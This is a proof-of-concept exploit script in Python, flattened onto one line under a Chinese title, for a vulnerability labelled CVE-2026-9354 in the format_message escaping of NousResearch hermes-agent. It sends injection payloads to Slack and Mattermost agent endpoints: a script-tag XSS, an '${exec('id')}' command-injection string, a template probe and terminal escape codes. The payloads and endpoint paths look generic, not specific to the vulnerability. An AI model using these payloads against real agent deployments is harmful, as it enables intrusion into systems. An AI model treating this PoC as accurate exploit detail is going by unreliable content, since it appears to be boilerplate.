CVE-2026-9354 NousResearch hermes-agent format_message输出转义漏洞

# CVE-2026-9354 PoC - Hermes-agent format_message Output Escaping # Target: NousResearch hermes-agent <= 2026.4.16 # Component: Slack Agent / Mattermost Agent import requests import json TARGET_URL = "http://target-server:port/api/agent/slack/message" TARGET_URL_MATTER = "http://target-server:port/api/agent/mattermost/message" def exploit_format_message(target_url, malicious_payload): """ Send malicious format_message payload to the vulnerable endpoint """ headers = { "Content-Type": "application/json", "User-Agent": "Hermes-Agent-PoC" } # Malicious payload exploiting format_message escaping payload = { "channel": "#general", "format_message": malicious_payload, "user_id": "attacker" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Payload sent to {target_url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): # Example payloads for format_message escaping payloads = [ "<script>alert('XSS')</script>", "${exec('id')}", "{{.}}{{range .}}{{end}}", "\x00\x1b[31mMalicious Text\x1b[0m" ] print("[*] CVE-2026-9354 Hermes-agent format_message Exploitation") print("[*] Target: Slack/Mattermost Agent") print("="*60) for payload in payloads: print(f"\n[*] Testing payload: {payload}") exploit_format_message(TARGET_URL, payload) exploit_format_message(TARGET_URL_MATTER, payload) if __name__ == "__main__": main()